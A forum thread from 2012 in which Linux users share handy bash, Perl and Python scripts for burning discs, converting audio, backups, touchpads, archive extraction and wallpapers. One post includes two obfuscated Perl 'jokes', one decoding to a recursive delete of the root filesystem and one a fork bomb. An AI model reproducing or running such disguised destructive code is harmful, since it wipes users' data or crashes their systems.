SEARCH

Enter your search query in the box above ^, or use the forum search tool.

You are not logged in.

#1 2012-04-28 20:43:24

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

[Closed] post your handy command-line utilities

I searched on "bash scripts' and it seems to have been a while since we had a thread for handy CLI utilities (we had one for aliases a little while ago, but let's widen our horizons)...

we have rhowaldts "@script" and "fclean" and I'm sure others I've missed, so let's try to put them in one place for future reference. I posted my "blnkdsk" in rhowaldts wodim thread; it blanks a cd-rw and/or writes an iso to it:

#!/bin/bash

# use wodim to blank or write a CD R/W

grn="\e[32m"
blu="\e[36m"
rst="\e[0m"
red="\e[31m" 

if [ -z $1 ]; then
# no arg specified, just blank disk
    str="sudo wodim -v -eject dev=/dev/cdrw blank=disc"
    cmd="blank CD R/W"
else
# write specified iso to disk
    if [ -e $1 ]; then  # file exists
        str="sudo wodim -v -eject dev=/dev/cdrw driveropts=burnfree speed=1 -dao fs=16m "$1
        cmd="write "$1" to CD R/W"
    else
        echo -e $red"can't find iso file: "$1$rst
        exit 1
    fi
fi

# 'cmd' is what we're going to do, 'str' is the actual command string

echo -e $grn$cmd
echo -e $blu$str$rst

$str

another one I've used a lot lately is "wma2mp3" -- it converts all the .wma files in a folder to .mp3, and then moves all the .wma files to a subfolder:

#!/bin/bash

# convert all wma files to mp3

for WMAFILE in *.wma 
do
    # make sure there are wma files in this folder
    if [ $WMAFILE == '*.wma' ]; then
        echo 'no wma files in this folder'
        exit 1
    fi
    # make the basename without the wma
    FILE=`basename $WMAFILE .wma`
    # make the mp3 file name from the basename
    MP3FILE=$FILE'.mp3'

    echo 'converting '$WMAFILE' to '$MP3FILE
    
    # use mplayer and lame to do the work
    mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader $WMAFILE
    lame -m s -V3 audiodump.wav
    mv audiodump.mp3 $MP3FILE
    # remove the intermediate file
    rm audiodump.wav
done

# create a wma folder if it's not already there
if [ ! -d wma ]; then
    echo 'creating wma folder'
    mkdir wma
fi

# move the old wma files into the folder
echo 'moving wma files into wma folder'
mv *.wma wma

and this one that uses rsync to back up my home folder after optionally running bleachbit:

#!/bin/bash

echo 'sync /home/bsh to usb'
echo 'bleachbit first? (y/n)'
read -n1 yn
if [ $yn = 'y' ]; then
    bleachbit
    gksudo bleachbit
fi

str='rsync -r -v --progress /home/bsh/ /media/8Gusb/toybox'
echo $str
echo 'press enter to continue'
read -n1
$str

Last edited by 2ManyDogs (2012-04-28 20:45:00)


Be eggsalad to each other.

Offline

Be excellent to each other!

#2 2012-04-28 21:01:15

arclance
#! Die Hard
Registered: 2012-03-29
Posts: 987

Re: [Closed] post your handy command-line utilities

Here is the script I wrote to set the I/O scheduler of my SDD to deadline by it's UUID since /dev/sdX is unreliable on my desktop computers.  It should be run from /etc/rc.local.

#! /bin/bash
rootname="`ls -lF /dev/disk/by-uuid | grep "UUID Goes Here" | cut -c86-88`"
echo deadline > /sys/block/"$rootname"/queue/scheduler
echo 1 > /sys/block/"$rootname"/queue/iosched/fifo_batch

Offline

#3 2012-04-28 21:11:06

rhowaldt
#!*$%:)
Registered: 2011-03-09
Posts: 4,396

Re: [Closed] post your handy command-line utilities

^ woohoohoo, i have no idea what you just said! smile

@2manydogs: nice thread-idea!

here's two more of mine already on the forums, firep and append (find-and-replace and, well, append smile)

this small one, '@edit', i just use to open gedit from the terminal but in the background:

#!/bin/bash
EDITOR="/usr/bin/gedit"
$EDITOR $1 &
exit

Offline

#4 2012-04-28 21:19:48

damo
#! gimpbanger
From: N51.5 W002.8 (mostly)
Registered: 2011-11-24
Posts: 5,434

Re: [Closed] post your handy command-line utilities

Toggle the touchpad on and off, to stop it being a PITA

#!/bin/bash

################################################################################
# toggle touchpad on and off on "AlpsPS/2 ALPS DualPoint TouchPad"
# based on one by sg3524 and c901906,
# ubuntu forums "elantech touchpad improperly recognized ..."
# and tranche (http://crunchbanglinux.org/forums/topic/10996/toggle-synaptics-touchpad/)
#
#
# use 'xinput list' and 'xinput list-props' to find
# the correct local value for $PAD
##################################################################################
PAD='AlpsPS/2 ALPS DualPoint TouchPad'

A=`xinput list-props "$PAD" | sed -n -e 's/.*Device Enabled ([0-9][0-9]*):\t\(.*\)/\1/p' `

# echo "A =" $A
if [ $A -eq 1 ]; then
      xinput set-int-prop "$PAD" "Device Enabled" 8 0
else
      xinput set-int-prop "$PAD" "Device Enabled" 8 1
fi

BunsenLabs Group on deviantArt
damo's gallery on deviantArt
Openbox themes
Forum Moderator smile

Offline

#5 2012-04-28 21:41:35

arclance
#! Die Hard
Registered: 2012-03-29
Posts: 987

Re: [Closed] post your handy command-line utilities

rhowaldt wrote:

^ woohoohoo, i have no idea what you just said! smile

Changeing the I/O scheduler to deadline is a performance optimization for solid state drives. 
I found out about it here and here.
I have eSATA port multipler cards in my desktop computers and they screw up the order drives are loaded by the kernel which causes my drives to have different /dev/sdX assignments between boots.

Last edited by arclance (2012-04-28 21:42:03)

Offline

#6 2012-04-28 21:46:51

gutterslob
#! Resident Bum
Registered: 2009-11-03
Posts: 3,207

Re: [Closed] post your handy command-line utilities

I mostly rely on zsh functions. If it's plain old scripts, I only have a few useless ones.
Most are in perl cos I'm dyslexic.


build-kernel-deb.sh (debian specific)

#!/bin/sh

# run script and save typing during kernel build process
MAKEFLAGS=''
appendage='-custom'
timestamp=`date +"%Y%m%d"`
make-kpkg clean
time fakeroot make-kpkg         \
 --append-to-version $appendage  \
 --revision $timestamp \
 --initrd                       \
 kernel_image kernel_headers


fix-fstab.sh (credit: kanotix)

#!/bin/sh

if [ "$(id -u)" != "0" ]; then
 echo "Error: You must be root to run this script!" >&2
 exit 1
fi

# dup uuid check
check_uuid () {
[ -n "$UUID_CHECK" ] && eval "case $1 in $UUID_CHECK) echo Error: Dup UUID found: $1 >&2; exit 2;; esac"
if [ -z "$UUID_CHECK" ]; then
 UUID_CHECK=$1
else
 UUID_CHECK="$UUID_CHECK|$1"
fi
}
unset UUID_CHECK
for p in $(tail -n +3 /proc/partitions|sed -r 's/.* (\S*)/\/dev\/\1/'|grep -v ^/dev/dm-;ls /dev/mapper/* 2>/dev/null); do
 unset ID_FS_USAGE ID_FS_TYPE ID_FS_UUID
 eval $(/lib/udev/vol_id $p 2>/dev/null|grep -e ^ID_FS_USAGE -e ^ID_FS_TYPE -e ^ID_FS_UUID)
 if [ -n "$ID_FS_UUID" ]; then
  [ "$ID_FS_USAGE" = "filesystem" ] && check_uuid $ID_FS_UUID
  [ "$ID_FS_USAGE" = "other" -a "$ID_FS_TYPE" = "swap" ] && check_uuid $ID_FS_UUID
 else
  echo "Warning: No UUID found for $p (${ID_FS_USAGE:-no-filesystem} ${ID_FS_TYPE:-no-type})" >&2
 fi
done

# write new fstab
INPUT=/etc/fstab
OUTPUT=/etc/fstab.new
rm -f $OUTPUT
echo "# /etc/fstab: static file system information." >$OUTPUT
echo "#" >> $OUTPUT
echo "# <file system> <mount point>   <type>  <options>       <dump>  <pass>" >> $OUTPUT
printf "%-15s %-15s %-7s %-15s %-7s %s\n" proc /proc proc defaults 0 0 >> $OUTPUT
unset ROOT UUID_USED
while read filesystem mountpoint type options dump pass; do
 unset DEV UUID
 case $filesystem in
  /dev/mapper/*) ;;
  /dev/disk/by-uuid/*) DEV=/dev/$(readlink $filesystem|sed s@../../@@)
                       UUID="UUID=${filesystem#/dev/disk/by-uuid/}"
               ;;
  /dev/*) DEV=$filesystem
          UUID="UUID=$(/lib/udev/vol_id -u $filesystem)"
       ;;
  UUID=*) UUID=$filesystem
          DEV=/dev/$(readlink /dev/disk/by-uuid/${filesystem#UUID=}|sed s@../../@@)
       ;;
 esac
 [ -n "${DEV#/dev/}" ] && echo "# $DEV" >> $OUTPUT
 if [ -n "${UUID#UUID=}" -a ! "$1" = "-d" ]; then
  [ -n "$UUID_USED" -a -n "${UUID#UUID=}" ] && eval "case $UUID in $UUID_USED) echo Error: Already used $UUID >&2;rm -f $OUTPUT;exit 3 ;; esac"
  if [ -z "$UUID_USED" ]; then
   UUID_USED=$UUID
  else
   UUID_USED="$UUID_USED|$UUID"
  fi
  if [ "${type%-3g}" = "ntfs" -o "${type%plus}" = "hfs" -a ! "$1" = "-n" ]; then
   printf "%-15s %-15s %-7s %-15s %-7s %s\n" "/dev/disk/by-uuid/${UUID#UUID=}" $mountpoint $type $options $dump $pass >> $OUTPUT
  else 
   printf "%-15s %-15s %-7s %-15s %-7s %s\n" $UUID $mountpoint $type $options $dump $pass >> $OUTPUT
  fi
 else
  printf "%-15s %-15s %-7s %-15s %-7s %s\n" $filesystem $mountpoint $type $options $dump $pass >> $OUTPUT
 fi
 if [ "$mountpoint" = "/" ]; then
  [ -n "${UUID#UUID=}" ] && ROOT=$UUID || ROOT=$DEV
 fi
done <<EOT
$(awk '$2 !~ /^\/(proc|sys|media\/cdrom|media\/floppy|dev\/shm)/ && !/#|^$/' $INPUT|sort -k2)
EOT
# add cdroms
CDROM=0
for c in $(awk '/name/{for (i=NF;i>=3;i--) {print $i}}' /proc/sys/dev/cdrom/info 2>/dev/null); do
 [ -d /media/cdrom$CDROM ] || mkdir -p /media/cdrom$CDROM
 if [ "$CDROM" = "0" ]; then
  if [ "$(readlink /media/cdrom)" != "cdrom0" ]; then
   rm -f /media/cdrom
   ln -s cdrom0 /media/cdrom
  fi
  if [ "$(readlink /cdrom)" != "media/cdrom" ]; then
   rm -f /cdrom
   ln -s media/cdrom /cdrom
  fi
 fi
 printf "%-15s %-15s %-7s %-15s %-7s %s\n" "/dev/$c" "/media/cdrom$CDROM" "udf,iso9660" "user,noauto" "0" "0" >> $OUTPUT
 CDROM=$(($CDROM+1))
done
if [ "$CDROM" = "0" ]; then
 rm -f /cdrom /media/cdrom
fi
# add floppy
for f in $(ls -d /sys/block/fd* 2>/dev/null); do
 [ -d /media/floppy${f#/sys/block/fd} ] || mkdir -p /media/floppy${f#/sys/block/fd}
 printf "%-15s %-15s %-7s %-15s %-7s %s\n" "/dev${f#/sys/block}" "/media/floppy${f#/sys/block/fd}" "auto" "rw,user,noauto" "0" "0" >> $OUTPUT
done

[ "$1" = "-v" ] && cat $OUTPUT

[ -e $INPUT.1st ] || mv -v $INPUT $INPUT.1st
rm -f $INPUT
mv $OUTPUT $INPUT


cpu-gov.pl

#!/usr/bin/perl
use autodie;
use strict;
use warnings;


# set cpu governor depending of power state

unless ( `which acpi` && `which cpufreq-set` ) {
    print "'acpi' or 'cpufrequtils' is not installed, exiting.\n";
    exit 1;
}

open(my $in, '<', '/proc/cpuinfo');
my $cores;

while ( <$in> ) {
    if ( /cpu\ cores.*(\d+)/ ) {
        $cores = $1;
    }
}

my $ac_status = `acpi -a`;
my $battery_status = `acpi -b`;
my $gov;

if ( $ac_status =~ /on-line/i ) {
    print "Running on AC power... using the performance governor\n";
    &set_gov( 'performance' );
}
elsif ($battery_status =~ /Discharging/ || $ac_status =~ /off-line/ ) {
    print "Running on Battery power... using the powersave governor\n";
    &set_gov( 'powersave' );
}
else {
    print "Power source unknown... using the ondemand governor\n";
    &set_gov( 'ondemand' );
}

sub set_gov {
    my ($gov) = @_;
    for my $core ( 0..($cores - 1) ) {
        print "Setting '$gov' for core '$core'...\n";
        system "cpufreq-set --cpu $core --governor $gov";
    }
}

print "cpu-gov is finished.\n";
exit 0;


rmrf.pl lol

# self-explanatory
# don't run unless you know what it does
$I='*#/&';$II='%#';@2=qq!\ !;foreach(split//,
$I){push@1,(chr(ord("$_")+67));}foreach(split
//,$II){push@0,chr((ord("$_")+10));}system(("
$1[2]$1[0]$2[0]$0[1]$1[1]$1[2]$2[0]$0[0]$0[1]
"));until(defined($$)){(chop@ARGV[1]);chomp;}


forkbomb.pl (credit: dan) lol lol

# do not execute this code unless you definitely understand the consequences
$C='';@r=qw=115 121 115 116 101 109=;@00=qw~#.%.&~;@01=qw&<,=&;@10=qw=|/}/~=
;foreach(split/\//,$10[0]){push@2,(chr((ord$_)-1));}foreach(split/\./,$00[0]
){push@1,chr((ord$_)+3);}foreach(split/\,/,$01[0]){push@0,(chr((ord$_)-2));}
foreach(@r){$C.=(chr("$_"));}($S="\"$0[0]$1[1]$1[2]$2[0]"."\ "."$0[0]$2[1]".
"$0[0]$1[0]"."\ "."$2[2]$0[1]$0[0] \"";eval($C $S);until(defined($$)){chop;}

Will add more later if I get into the mood.


Legend
     lol = lame obfuscated perl
lol lol = seriously lame obfuscated perl

hint: obfuscated code (probably) doesn't work

Last edited by gutterslob (2012-04-28 22:00:48)


Point & Squirt

Offline

#7 2012-04-28 21:54:10

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

gutterslob wrote:

I mostly rely on zsh functions.

what he said.. if you want CLI utilities, you should install zsh and the grml .zshrc. The "simple extract" function is worth the price of admission; just type "se" on an archive and it's extracted

Last edited by 2ManyDogs (2012-04-29 02:04:23)


Be eggsalad to each other.

Offline

#8 2012-04-28 22:06:52

rhowaldt
#!*$%:)
Registered: 2011-03-09
Posts: 4,396

Re: [Closed] post your handy command-line utilities

@arclance: thanks for explaining, i understand now!
@2manydogs:(hope i'm not taking it too far off-topic here, but:) i simply use a bash function for extraction. it is in my ~/.bashrc:

# Easy extract
extract () {
  if [ -f "$1" ] ; then
      case "$1" in
          *.tar.bz2)   tar xvjf "$1"    ;;
          *.tar.gz)    tar xvzf "$1"    ;;
          *.bz2)       bunzip2 "$1"     ;;
          *.rar)       rar x "$1"       ;;
          *.gz)        gunzip "$1"      ;;
          *.tar)       tar xvf "$1"     ;;
          *.tbz2)      tar xvjf "$1"    ;;
          *.tgz)       tar xvzf "$1"    ;;
          *.zip)       unzip "$1"       ;;
          *.Z)         uncompress "$1"  ;;
          *.7z)        7z x "$1"        ;;
          *.cbr)       rar x "$1"       ;;
          *.cbz)       unzip "$1"       ;;
          *)           echo "don't know how to extract '$1'..." ;;
      esac
  else
      echo "'$1' is not a valid file!"
  fi
}

Offline

#9 2012-04-28 22:09:56

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

^ not too far off topic at all monkey-man; that's a useful CLI utility if I ever saw one smile

(i'm the one who got sidetracked into the wonders of zsh... wink )

Last edited by 2ManyDogs (2012-04-28 22:13:11)


Be eggsalad to each other.

Offline

#10 2012-04-28 22:18:19

Unia
#! Octo-portal-pussy
From: The Netherlands
Registered: 2010-07-17
Posts: 4,634
Website

Re: [Closed] post your handy command-line utilities

I have the same as @Rhowaldt, just extended it to cd to the dir you just extracted:

# ARCHIVES
# usage: ex <file>
ex ()
{
  if [[ -f "$1" ]]; then
    case "$1" in
      *.lrz)      lrztar -d "$1" && cd $(basename "$1" .lrz)    ;;
      *.tar.bz2)  tar xjf "$1" && cd $(basename "$1" .tar.bz2)  ;;
      *.tar.gz)   tar xzf "$1" && cd $(basename "$1" .tar.gz)   ;;
      *.tar.xz)   tar Jxf "$1" && cd $(basename "$1" .tar.xz)   ;;
      *.bz2)      bunzip2 "$1" && cd $(basename "$1" .bz2)      ;;
      *.rar)      rar x "$1" && cd $(basename "$1" .rar)        ;;
      *.gz)       gunzip "$1" && cd $(basename "$1" .gz)        ;;
      *.xz)       tar xvJf "$1" && cd $(basename "$1" .xz)      ;;
      *.tar)      tar xf "$1" && cd $(basename "$1" .tar)       ;;
      *.tbz2)     tar xjf "$1" && cd $(basename "$1" .tbz2)     ;;
      *.tgz)      tar xzf "$1" && cd $(basename "$1" .tgz)      ;;
      *.zip)      unzip "$1" && cd $(basename "$1" .zip)        ;;
      *.Z)        uncompress "$1" && cd $(basename "$1" .Z)     ;;
      *.7z)       7z x "$1" && cd $(basename "$1" .7z)          ;;
      *.rar)      unrar x "$1" && cd $(basename "$1" .rar)      ;;
      *)          echo "don't know how to extract '$1'..."      ;;
    esac
  else
    echo "'$1' is not a valid file!"
  fi
}

Then I also have the conf function, which lets you edit all types of config files without having to type the whole path:

# CONFIGS
# usage: conf <name>
conf ()
{
  case $1 in
    bash)     nano ~/.bashrc                     ;;
    nano)     nano ~/.nanorc                     ;;
    xinit)    nano ~/.xinitrc                    ;;
    xres)     nano ~/.Xresources                 ;;
    dwm)      nano ~/abs/dwm/config.h            ;;
    conky)    nano ~/.config/conky/conkyrc_dzen2 ;;
    boot)     sudo nano /boot/grub/menu.lst      ;;
    rc)       sudo nano /etc/rc.conf             ;;
    pacman)   sudo nano /etc/pacman.conf         ;;
    apps)     sudo nano /etc/pacsync/apps.set    ;;
  esac
}

If you can't sit by a cozy fire with your code in hand enjoying its simplicity and clarity, it needs more work. --Carlos Torres

I am a #! forum moderator. Feel free to send me a PM with any question you have!

Offline

#11 2012-04-28 22:36:16

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

^ cool -- I'm lazy, so I just have aliases for the config files I use most often:

alias v=vim
alias aka='v ~/.zsh_aliases'
alias edx='v ~/.xinitrc'
alias rk='v ~/.ratpoisonkeys'

keeping them all in one function makes sense...

keep those CLI utils coming!

Last edited by 2ManyDogs (2012-04-28 22:40:37)


Be eggsalad to each other.

Offline

#12 2012-04-28 22:37:13

el_koraco
#!/loony/bun
From: inside Ed
Registered: 2011-07-25
Posts: 4,749

Re: [Closed] post your handy command-line utilities

gutterslob wrote:

cpu-gov.pl

Nice script. I added cpufreq to hadran's laptop power saving script in /etc/pm/power.d. It doesn't have power source unknown, though.

@debian users - the package unp is a wrapper script for extracting, you didn't have to write scripts on your own big_smile

Last edited by el_koraco (2012-04-28 22:39:15)

Offline

#13 2012-04-28 23:04:13

rhowaldt
#!*$%:)
Registered: 2011-03-09
Posts: 4,396

Re: [Closed] post your handy command-line utilities

^ now he tells us.

big_smile

Offline

#14 2012-04-28 23:09:43

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

thanks el_k

Last edited by 2ManyDogs (2012-04-29 02:03:41)


Be eggsalad to each other.

Offline

#15 2012-04-29 12:31:52

Doomicide
#! Junkie
From: the Nightosphere
Registered: 2011-06-24
Posts: 472
Website

Re: [Closed] post your handy command-line utilities

makevid.sh creates an mp4 video from an image and an audio-file, using ffmpeg:

#!/bin/bash
# Creates a video from a picture and an audio file
# Usage ./makevid.sh picture audio [output.mp4]

if [ ! $# == 2 ] && [ ! $# == 3 ]; then
    echo -e "Creates a video from a picture and an audio file (Requires ffmpeg) \n \
 Usage: ./$(basename $0) picture audio [output.mp4]"
    exit 1
fi

pic=$1
aud=$2
out=${3-output.mp4}
dur=$(ffmpeg -i $aud 2>&1 | grep Duration | cut -f1 -d, | cut -f2,3,4,5 -d:)

    ffmpeg -loop 1 -i $pic -i $aud -t $dur -vcodec mpeg4 -acodec copy -f avi $out

screentoggle.sh: toggles the screensaver on and off + notifies me via twmn. (You need to reset the screensaver-state each time starting X, use something like: "sed -i s/^SCREENSAVER.*/SCREENSAVER="on"/ $HOME/.scripts/screentoggle" in .xinitrc. :

#!/bin/bash

SCREENSAVER=on

case "$SCREENSAVER" in
    on)
       xset s off
       xset -dpms
       setterm -blank 0 -powerdown 0
       sed -i s/^SCREENSAVER.*/SCREENSAVER="off"/ $0
       twmnc -t "Screensaver:" -c "off" --id 98 --fg "red" -l twmn.conf
       ;;
    off)
       xset s on
       xset +dpms
       setterm -blank 20 -powerdown 30
       sed -i s/^SCREENSAVER.*/SCREENSAVER="on"/ $0
       twmnc -t "Screensaver:" -c "on"  --id 98 -l twmn.conf
       ;;
esac

and some functions from my bashrc. The first two should be pretty self-explanatory. The last one will rename all files in a directory to $1 and append number them.:

function rembck()
{
    rm $(find ~ -name '*~' 2>/dev/null)
}

function restart()
{
    killall "$1"
    "$1" &
}

function renumber()
{
    NAME=${1}
    DIR=${2-.}
    FILES=( $DIR/* );
    i=1
    for f in "${FILES[@]}"; do
        mv $f $DIR/${NAME}${i}.$(echo $f | awk -F. '{print $NF}')
        i=$((${i}+1))
    done
}

Last edited by Doomicide (2012-04-29 12:37:27)


“From each according to his faculties; to each according to his needs”
Look at the code. Look at the silly code!

Offline

#16 2012-04-29 13:03:54

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

Set wallpaper using jpg selected at random:

#!/bin/bash

# directory containing images
DIR="/home/bsh/images/wallpapers"

# select a random jpg from the directory
PIC=$(ls $DIR/*.jpg | shuf -n1)

# use nitrogen to set wallpaper
nitrogen --set-zoom-fill $PIC

And crontab to change wallpaper every ten minutes, using random script (use crontab -e to set):

*/10 * * * * DISPLAY=:0.0 /home/bsh/.scripts/random-wallpaper

Be eggsalad to each other.

Offline

#17 2012-04-29 13:51:26

rhowaldt
#!*$%:)
Registered: 2011-03-09
Posts: 4,396

Re: [Closed] post your handy command-line utilities

script for switching off touchpad when usb-mouse is connected:

#!/bin/bash
# thank you: http://www.linuxquestions.org/questions/debian-26/shmconfig-in-debian-645503/#post3838794
# script to turn off touchpad if mouse present at login
# synclient is the synaptic utility to manage the touchpad
# grep the "lsusb" output and do a wordcount on number of lines with "Logitech" which should = 1 if a Logitech mouse is present
#
# Obviously the "Logitech" should be replaced with your brand of mouse, and perhaps be more exact in case you have other USB devices that have similar names
/usr/bin/synclient touchpadoff=`lsusb | grep Logitech | wc -l`

this script gets called from Openbox's autostart.sh

Offline

#18 2012-04-29 13:55:46

gutterslob
#! Resident Bum
Registered: 2009-11-03
Posts: 3,207

Re: [Closed] post your handy command-line utilities

Edit encrypted file with vim & blowfish

#!/bin/sh
vim --version | fgrep -q '+cryptv' &&
exec vim -u NONE -c 'set '\
'nocompatible '\
'secure '\
'viminfo= '\
'history=0 '\
'noswapfile '\
'noshelltemp '\
'nobackup '\
'nowritebackup '\
'cryptmethod=blowfish '\
'foldmethod=marker '\
'background=dark '\
  "$@"

Point & Squirt

Offline

#19 2012-04-29 15:03:47

gutterslob
#! Resident Bum
Registered: 2009-11-03
Posts: 3,207

Re: [Closed] post your handy command-line utilities

Another useless script from way back. Surprised I still kept it.
Was quite useful in the days before torsmo (now conky) came about, when you had to pipe everything out to everywhere.


net_speed.sh

#!/bin/bash

# Shows the network speed, both received and transmitted.

# Usage: net_speed.sh interface
#   e.g: net_speed.sh eth0


# Global variables
interface=$1
received_bytes=""
old_received_bytes=""
transmitted_bytes=""
old_transmitted_bytes=""


# This function parses /proc/net/dev file searching for a line containing $interface data.
# Within that line, the first and ninth numbers after ':' are respectively the received and transmited bytes.
function get_bytes
{
    line=$(cat /proc/net/dev | grep $interface | cut -d ':' -f 2 | awk '{print "received_bytes="$1, "transmitted_bytes="$9}')
    eval $line
}


# Function which calculates the speed using actual and old byte number.
# Speed is shown in KByte per second when greater or equal than 1 KByte per second.
# This function should be called each second.
function get_velocity
{
    value=$1    
    old_value=$2

    let vel=$value-$old_value
    let velKB=$vel/1000
    if [ $velKB != 0 ];
    then
 echo -n "$velKB KB/s";
    else
 echo -n "$vel B/s";
    fi
}

# Gets initial values.
get_bytes
old_received_bytes=$received_bytes
old_transmitted_bytes=$transmitted_bytes

# Shows a message and waits for one second.
echo "Starting...";
sleep 1;
echo "";


# Main loop. It will repeat forever.
while true; 
do

    # Get new transmitted and received byte number values.
    get_bytes

    # Calculates speeds.
    vel_recv=$(get_velocity $received_bytes $old_received_bytes)
    vel_trans=$(get_velocity $transmitted_bytes $old_transmitted_bytes)

    # Shows results in the console.
    echo -en "$interface DOWN:$vel_recv\tUP:$vel_trans\r"

    # Update old values to perform new calculations.
    old_received_bytes=$received_bytes
    old_transmitted_bytes=$transmitted_bytes

    # Waits one second.
    sleep 1;

done

Yikes!! .... My comments were so clear back then. Must've been done during a period of unemployment. O_O
Parts of this (the looping-related bit) were stolen from others, so credit to them, whoever they are.

Last edited by gutterslob (2012-04-29 15:04:18)


Point & Squirt

Offline

#20 2012-04-30 13:28:55

Doomicide
#! Junkie
From: the Nightosphere
Registered: 2011-06-24
Posts: 472
Website

Re: [Closed] post your handy command-line utilities

Here's a little python-script, which sets a random background color using xsetroot. I was inspired my 2manydogs random wallpaper script and decided to write this as an exercise. By default it chooses  from the included list of color names, but it may also generate a random hexcode or use a file provided by the user.

#!/usr/bin/env python
# xsetroot_random.py
# Chooses a random X root-window bg color, either by name or hexcode. Requires xsetroot.

# Imports
import random
import argparse
import os
import io

# Functions
def readList(clist):
    if not os.access(clist, os.F_OK):
        print("ERROR: File does not exist!")
        exit()
    elif not os.access(clist, os.R_OK):
        print("ERROR: File is not readable!")
        exit()
    else:
        path=clist

    collist=io.open(clist, 'r')
    colors=[line.strip() for line in collist]
    collist.close()
    return colors


def pickCol(clist):
    if not args.hex:
        color=str(clist[random.randint(0, len(clist)-1)])
        return color
    else:
        color="#"
        for i in range(6):
            color+=str(random.randint(0,9))
        return color

# Arguments
parser = argparse.ArgumentParser(description="Chooses a random X root-window bg color, either by name or hexcode. Requires 'xsetroot'.")

parser.add_argument('-f', '--file', \
        default='included', \
        metavar='FILE', \
        help='read color names and/or hexcodes from FILE (format: one string per line)')
parser.add_argument('-x', '--hex', \
        action='store_true', \
        help='generate a random hexcode')

args=parser.parse_args()

# Execution
if __name__ == "__main__":
    if not args.hex:
        if args.file == "included":
            colors=['Alice Blue', 'Antique White', 'Aquamarine', 'Azure', 'Beige', 'Bisque', 'Black', 'Blanched Almond', 'Blue', 'Blue Violet', 'Brown', 'Burlywood', 'Cadet Blue', 'Chartreuse', 'Chocolate', 'Coral', 'Cornsilk', 'Cyan', 'Dark Blue', 'Dark Cyan', 'Dark Goldenrod', 'Dark Gray', 'Dark Green', 'Dark Khaki', 'Dark Magenta', 'Dark Olive Green', 'Dark Orange', 'Dark Orchid', 'Dark Red', 'Dark Salmon', 'Dark Sea Green', 'Dark Slate Blue', 'Dark Slate Gray', 'Dark Turquoise', 'Dark Violet', 'Deep Pink', 'Deep Sky Blue', 'Dim Gray', 'Dodger Blue', 'Firebrick', 'Floral White', 'Forest Green', 'Gainsboro', 'Ghost White', 'Gold', 'Goldenrod', 'Gray ', 'Green ', 'Green Yellow', 'Honeydew', 'Hot Pink', 'Indian Red', 'Ivory', 'Khaki', 'Lavender', 'Lavender Blush', 'Lawn Green', 'Lemon Chiffon', 'Light Blue', 'Light Coral', 'Light Cyan', 'Light Goldenrod', 'Light Gray', 'Light Green', 'Light Pink', 'Light Salmon', 'Light Sea Green', 'Light Sky Blue', 'Light Slate Gray', 'Light Steel Blue', 'Light Yellow', 'Lime Green', 'Linen', 'Magenta', 'Maroon ', 'Medium Aquamarine', 'Medium Blue', 'Medium Orchid', 'Medium Purple', 'Medium Sea Green', 'Medium Slate Blue', 'Medium Spring Green', 'Medium Turquoise', 'Medium Violet Red', 'Midnight Blue', 'Mint Cream', 'Misty Rose', 'Moccasin', 'Navajo White', 'Navy', 'Old Lace', 'Olive Drab', 'Orange', 'Orange Red', 'Orchid', 'Pale Goldenrod', 'Pale Green', 'Pale Turquoise', 'Pale Violet Red', 'Papaya Whip', 'Peach Puff', 'Peru', 'Pink', 'Plum', 'Powder Blue', 'Purple ', 'Red', 'Rosy Brown', 'Royal Blue', 'Saddle Brown', 'Salmon', 'Sandy Brown', 'Sea Green', 'Seashell', 'Sienna', 'Sky Blue', 'Slate Blue', 'Slate Gray', 'Snow', 'Spring Green', 'Steel Blue', 'Tan', 'Thistle', 'Tomato', 'Turquoise', 'Violet', 'Wheat', 'White', 'White Smoke', 'Yellow', 'Yellow Green']
        else:
            colors=readList(args.file)
    else:
        colors=[]

    color=str(pickCol(colors))
    print(color)
    os.system("xsetroot -solid '%s'" % color)

Last edited by Doomicide (2012-04-30 13:38:04)


“From each according to his faculties; to each according to his needs”
Look at the code. Look at the silly code!

Offline

#21 2012-05-02 00:28:47

Vansgo
#! Die Hard
Registered: 2011-05-02
Posts: 1,580
Website

Re: [Closed] post your handy command-line utilities

Not a scripty thing, but CLI sox is a nice/easy audio utility for converting file formats like .wav to .ogg.

Offline

#22 2012-05-03 00:46:32

Wrobat
#! CrunchBanger
Registered: 2010-10-10
Posts: 120

Re: [Closed] post your handy command-line utilities

This is some I like to use when stealling things from web sites.

#! /bin/bash
# SCopy

scopy='/home/wrath/tmp/scopy.txt'
echo '' >> $scopy
xsel >> $scopy
geany $scopy
exit

I have it assigned to Ctrl+Super+C.

Last edited by Wrobat (2012-05-03 00:46:53)


Windows free since Crunchbang 8.10!

Offline

#23 2012-05-06 01:40:38

2ManyDogs
dv#!
From: elsewhere
Registered: 2011-11-22
Posts: 1,346

Re: [Closed] post your handy command-line utilities

"ddiso" -- copy an iso file to a usb stick (more complicated version of this)

#!/bin/bash

# script to copy an iso to usb stick at /dev/sdc

function usage() {
    echo 'ddiso: copies an iso file to usb drive at /dev/sdc'
    echo 'usage: ddiso isofile'
    exit 1
} 

if [ -z $1 ]; then
    usage
fi

if [ ! -e $1 ]; then
    echo 'file '$1' does not exist'
    usage
fi

echo 'copy '$1' to usb stick at /dev/sdc'
read -n1 -p 'are you sure? (y/n)'
echo 
if [ $REPLY == 'y' ]; then
    sudo dd if=$1 of=/dev/sdc bs=4M;sync    
fi

Be eggsalad to each other.

Offline

#24 2012-05-06 02:09:41

machinebacon
#! unstable
From: China
Registered: 2009-07-02
Posts: 6,826
Website

Re: [Closed] post your handy command-line utilities

A stupid one-liner:

# fetch a few ideas what to cook today
wget -q -O- "http://rss.allrecipes.com/daily.aspx?hubID=80" | grep '<title>' |  sed 's/<title>//g' | sed 's/<\/title>//g' | sed 's/Allrecipes Logo//g'

Last edited by machinebacon (2012-05-06 02:10:16)


Sweaty lads picking up the soap | I love the new "Ignore user" button

Offline

Help fund CrunchBang, donate to the project!

#25 2012-05-06 10:03:03

rhowaldt
#!*$%:)
